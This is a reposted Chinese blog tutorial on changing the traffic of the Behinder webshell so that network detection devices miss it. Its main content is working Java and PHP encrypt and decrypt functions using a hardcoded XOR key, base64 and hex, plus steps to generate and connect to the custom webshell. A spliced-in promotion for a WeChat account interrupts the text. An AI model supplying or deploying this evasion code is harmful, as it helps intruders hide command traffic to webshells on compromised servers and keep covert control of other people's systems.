服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

初探 | 冰蝎流量免杀

日期: 来源:信安黑客技术收集编辑:

0x01 前言

冰蝎4.0发布以后,可以自定义传输协议了,也就是我们能对流量进行改造,本文依据rebeyond大佬文章对冰蝎流量进行改造,记录一下踩过的坑。

https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A

冰蝎传输协议模块

分为本地和远程,其中本地模块只能用java进行编写,远程模块根据webshell的语言类型进行编写,比如java、php、asp,全部编写好后要生成服务端,也就是生成我们自己的webshell,用生成后的webshell进行连接。

借用大佬的图说明一下加解密流程

整体流量加解密流程为先对payload进行base64,再转成十六进制,具体函数往下看。

0x02 加解密过程

1、本地加密函数

  1. private byte[] Encrypt(byte[] data) throws Exception{ //传入一个字节数组data,对data依据key进行按位异或 String key="e45e329feb5d925b"; for (int i = 0; i < data.length; i++) { data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15])); } //先转换成base64,利用反射调用base64编码 byte[] encrypted = null; Class baseCls; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod( "encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod( "encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{data}); result=result.replace("n", "").replace("r", ""); encrypted=result.getBytes(); } //再改写成hex,利用DatatypeConverter类的printHexBinary()方法进行转换 Object obj = null; try{ Class clazz = Class.forName("javax.xml.bind.DatatypeConverter"); /* 这里返回了一个Object类型,虽然encrypted定义的是字节数组, 但是这里传进去的时候不知道为什么报的是Object,所以定义一个Object来接收。 这里用printHexBinary()把base64字符串转成16进制字符串, printHexBinary()接收一个byte数组, printHexBinary()是一个静态方法,invoke第一个参数可以传入null, */ obj = clazz.getDeclaredMethod("printHexBinary",new Class[]{byte[].class}).invoke(null,encrypted); }catch (Throwable error){ System.out.println(error); } //因为要求返回字节数组,所以这里先把Object转成字符串,再转成字节数组,好像不能直接由object转byte byte[] encrypted_hex = obj.toString().toLowerCase().getBytes(); return encrypted_hex; }


2、本地解密函数

  1. private byte[] Decrypt(byte[] data) throws Exception { //从十六进制转回base64 String decrypted_hex = new String(data); byte[] decrypted_base = null; try{ Class clazz = Class.forName("javax.xml.bind.DatatypeConverter"); /* 这里用parseHexBinary()把16进制字符串转回base64字符串 parseHexBinary()接收16进制字符串,转回正常字符串 parseHexBinary()是静态方法,invoke第一个参数可以为空 */ decrypted_base = (byte[])clazz.getDeclaredMethod("parseHexBinary",String.class).invoke(null,decrypted_hex); }catch (Throwable error){ System.out.println(error); } //从base64转回正常字符串 byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{decrypted_base}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(decrypted_base)}); } String key="e45e329feb5d925b"; for (int i = 0; i < decodebs.length; i++) { decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15])); } return decodebs; }


可以先看一下本地加密的效果

至此,本地加解密函数完成,下一步我们研究webshell怎么写。因为本文研究流量免杀,webshell的免杀在此处不做讨论。微信搜索公众号:Linux技术迷,回复:linux 领取资料 。

3、远程加密函数

  1. function Encrypt($data){ $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } $bs="base64_"."encode"; $after=$bs($data.""); return bin2hex($after);//base64后转16进制}


4、远程解密函数

  1. function Decrypt($data){ $key="e45e329feb5d925b"; $bs="base64_"."decode"; $after=$bs(pack('H*',$data)."");//先解出16进制,再base64解码 for($i=0;$i<strlen($after);$i++) { $after[$i] = $after[$i]^$key[$i+1&15]; } return $after;}


0x03 效果

先生成服务端,生成我们自己的webshell

连接webshell

用burp抓包看一下流量

0x04 总结

本次加解密流程为先base64,再转成16进制字符串。先转成base64主要是为了保护原始payload,以免在从十六进制转回原payload的过程中发生递归解析,将原payload中的十六进制字符串也一并解析了。

本文仅针对冰蝎流量改造进行初步探讨,熟悉一下整个流程,真的要绕流量设备,估计还需要其他的技巧。

该内容转载自网络,仅供学习交流,勿作他用,如有侵权请联系删除。

相关阅读

  • chatgpt自动化大流量网站内容生产构想

  • 作者 l 圣矾来源 l 圣矾思维说(ID:shengfanwz7)“让所有认可我的人都学会独立思考赚钱的能力是我一生的责任”公众号内回复往期内容查看以前的文章请牢记下面这个赚钱公式:利润=
  • 当你拥有这2个思维,互联网赚钱就容易了!

  • 前几天看到一个特别有意思的直播间:一个女人在大街上,直播免费擦鞋!你肯定会好奇,为啥要免费?因为她不直接靠擦鞋赚钱,而是靠擦鞋赚流量。有了流量之后,在直播间挂上皮鞋、皮鞋油、
  • 2023年,智能家居老板如何低成本多开10家店?

  • 作者 | 启明编辑 | 小沐出品 | 智哪儿 zhinaer.cn2023年智能家居老板需要一些什么样的新思维来助力业绩增长呢?智哪儿从今天起推出系列观察文章与各位老板共勉。在《三体》电
  • 每月203GB通用流量,官方超值流量卡,不要错过!

  • 介绍真的超级好用!这些都不是物联卡!!都是运营商官方的手机卡,每月费用都可在营业厅App查询。读大学时,因为学校宽带限制设备使用,所以没有开宽带,用的是39月租的联通优游,直接一台
  • 2023拥有这个能力,让你多赚十倍。

  • 大家好,我是狗哥。大年初五好,今天是迎财神的好日子。不知道过年大家的亲戚走完了没有?有没有收到红包?还是发出去了红包?当然无论如何,我相信大家都是和我一样开心满足的。因为今
  • 微信不道德?

  • 最近我所在的一些公众号运营群里经常有人在讨论一个话题,那就是微信订阅号信息流的再次改版。这次,微信直接把信息流消息改成了「标题+小图」模式,即便是单图文,也都统一是这种
  • 微步TDP获“2022信息技术应用创新年度推荐”

  • 信息技术应用创新是加快新型基础设施建设的重要支点,也是新形势下经济结构调整和经济发展的新动能,已经成为经济数字化转型、提升产业链发展的关键。近日,《中国信息化》杂志社

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • 初探 | 冰蝎流量免杀

  • 0x01 前言冰蝎4.0发布以后,可以自定义传输协议了,也就是我们能对流量进行改造,本文依据rebeyond大佬文章对冰蝎流量进行改造,记录一下踩过的坑。https://mp.weixin.qq.com/s/EwY
  • 干货 | 冰蝎各版本工具分析与魔改思路

  • 0x00 V2版本1. 项目github项目:https://github.com/rebeyond/Behinder/releases/V2 源码:https://github.com/hktalent/afterLoader2. 流量分析执行流程图:首次连接一句话服务
  • HW红队攻防、渗透痕迹隐藏的神器(附下载)

  • 通过在系统日志和文件系统时间戳上留下零痕迹,在 Linux 漏洞利用/渗透测试期间覆盖您的踪迹。moonwalk是一个 400 KB 的单二进制可执行文件,可以在渗透测试Unix机器时清除您的
  • 讲一讲数据安全,如何有效预防脱库

  • 今天讲一讲数据的安全问题,我们本篇不从DBA、网络架构层面来讲述数据安全,这部分有很专业的架构和云上产品来解决,本篇重点从开发人员角度讲述如何避免数据安全的漏洞。我相信
  • 神兵利器 | Frp二开免杀与隐藏(附下载)

  • 声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。frp二开项目,frp是fatedier